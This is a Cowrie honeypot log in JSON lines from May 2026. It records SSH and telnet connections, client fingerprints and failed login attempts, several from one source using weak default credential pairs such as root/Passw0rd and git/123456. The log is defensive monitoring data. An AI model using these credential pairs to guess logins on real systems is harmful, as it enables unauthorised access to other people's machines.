{"eventid":"cowrie.session.closed","duration":67.08875393867493,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:04.196623Z","src_ip":"152.42.224.71","session":"1fd67533a1e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60988,"dst_ip":"159.203.135.109","dst_port":22,"session":"438404d6d6c9","protocol":"ssh","message":"New connection: 176.65.132.129:60988 (159.203.135.109:22) [session: 438404d6d6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:04.211304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:04.217991Z","src_ip":"176.65.132.129","session":"438404d6d6c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:04.302147Z","src_ip":"176.65.132.129","session":"438404d6d6c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:04.557995Z","src_ip":"176.65.132.129","session":"438404d6d6c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:05.001378Z","src_ip":"80.94.92.184","session":"39c650bfd033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:05.651050Z","src_ip":"176.65.132.129","session":"438404d6d6c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57908,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9f9cbfcb349","protocol":"ssh","message":"New connection: 176.65.132.129:57908 (159.203.135.109:22) [session: b9f9cbfcb349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:07.518167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:07.523003Z","src_ip":"176.65.132.129","session":"b9f9cbfcb349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:07.605153Z","src_ip":"176.65.132.129","session":"b9f9cbfcb349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54034,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b27d266ddeb","protocol":"telnet","message":"New connection: 152.42.224.71:54034 (10.17.0.5:23) [session: 9b27d266ddeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:07.759014Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:08.038856Z","src_ip":"176.65.132.129","session":"b9f9cbfcb349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54050,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d95a9bb2edd","protocol":"telnet","message":"New connection: 152.42.224.71:54050 (10.17.0.5:23) [session: 0d95a9bb2edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:08.607823Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:09.123146Z","src_ip":"176.65.132.129","session":"b9f9cbfcb349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57932,"dst_ip":"159.203.135.109","dst_port":22,"session":"2beb4a74c1c5","protocol":"ssh","message":"New connection: 176.65.132.129:57932 (159.203.135.109:22) [session: 2beb4a74c1c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:10.957534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:10.962147Z","src_ip":"176.65.132.129","session":"2beb4a74c1c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:11.044313Z","src_ip":"176.65.132.129","session":"2beb4a74c1c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:11.292088Z","src_ip":"176.65.132.129","session":"2beb4a74c1c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:12.492318Z","src_ip":"176.65.132.129","session":"2beb4a74c1c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54064,"dst_ip":"10.17.0.5","dst_port":23,"session":"29023cdf0c31","protocol":"telnet","message":"New connection: 152.42.224.71:54064 (10.17.0.5:23) [session: 29023cdf0c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:14.114324Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57938,"dst_ip":"159.203.135.109","dst_port":22,"session":"e20838edd57d","protocol":"ssh","message":"New connection: 176.65.132.129:57938 (159.203.135.109:22) [session: e20838edd57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:14.129650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:14.138625Z","src_ip":"176.65.132.129","session":"e20838edd57d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:14.220957Z","src_ip":"176.65.132.129","session":"e20838edd57d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:14.467822Z","src_ip":"176.65.132.129","session":"e20838edd57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:15.554265Z","src_ip":"176.65.132.129","session":"e20838edd57d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60056,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f6737aa0bf9","protocol":"ssh","message":"New connection: 176.65.132.129:60056 (159.203.135.109:22) [session: 7f6737aa0bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:17.415664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:17.420616Z","src_ip":"176.65.132.129","session":"7f6737aa0bf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:17.504316Z","src_ip":"176.65.132.129","session":"7f6737aa0bf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:17.915613Z","src_ip":"176.65.132.129","session":"7f6737aa0bf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.212.226.17","src_port":60976,"dst_ip":"159.203.135.109","dst_port":22,"session":"73d50778d496","protocol":"ssh","message":"New connection: 125.212.226.17:60976 (159.203.135.109:22) [session: 73d50778d496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:18.878383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:18.886514Z","src_ip":"125.212.226.17","session":"73d50778d496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:19.001320Z","src_ip":"176.65.132.129","session":"7f6737aa0bf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:19.144704Z","src_ip":"125.212.226.17","session":"73d50778d496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd123","message":"login attempt [root/Pa$$w0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:19.918237Z","src_ip":"125.212.226.17","session":"73d50778d496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60070,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e639389f05d","protocol":"ssh","message":"New connection: 176.65.132.129:60070 (159.203.135.109:22) [session: 8e639389f05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:20.861881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:20.866516Z","src_ip":"176.65.132.129","session":"8e639389f05d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:20.948961Z","src_ip":"176.65.132.129","session":"8e639389f05d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:21.177413Z","src_ip":"125.212.226.17","session":"73d50778d496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:21.195468Z","src_ip":"176.65.132.129","session":"8e639389f05d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:22.350151Z","src_ip":"176.65.132.129","session":"8e639389f05d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60086,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e2d69325f93","protocol":"ssh","message":"New connection: 176.65.132.129:60086 (159.203.135.109:22) [session: 4e2d69325f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:24.151234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:24.155866Z","src_ip":"176.65.132.129","session":"4e2d69325f93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:24.237672Z","src_ip":"176.65.132.129","session":"4e2d69325f93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:24.483344Z","src_ip":"176.65.132.129","session":"4e2d69325f93","protocol":"ssh"}
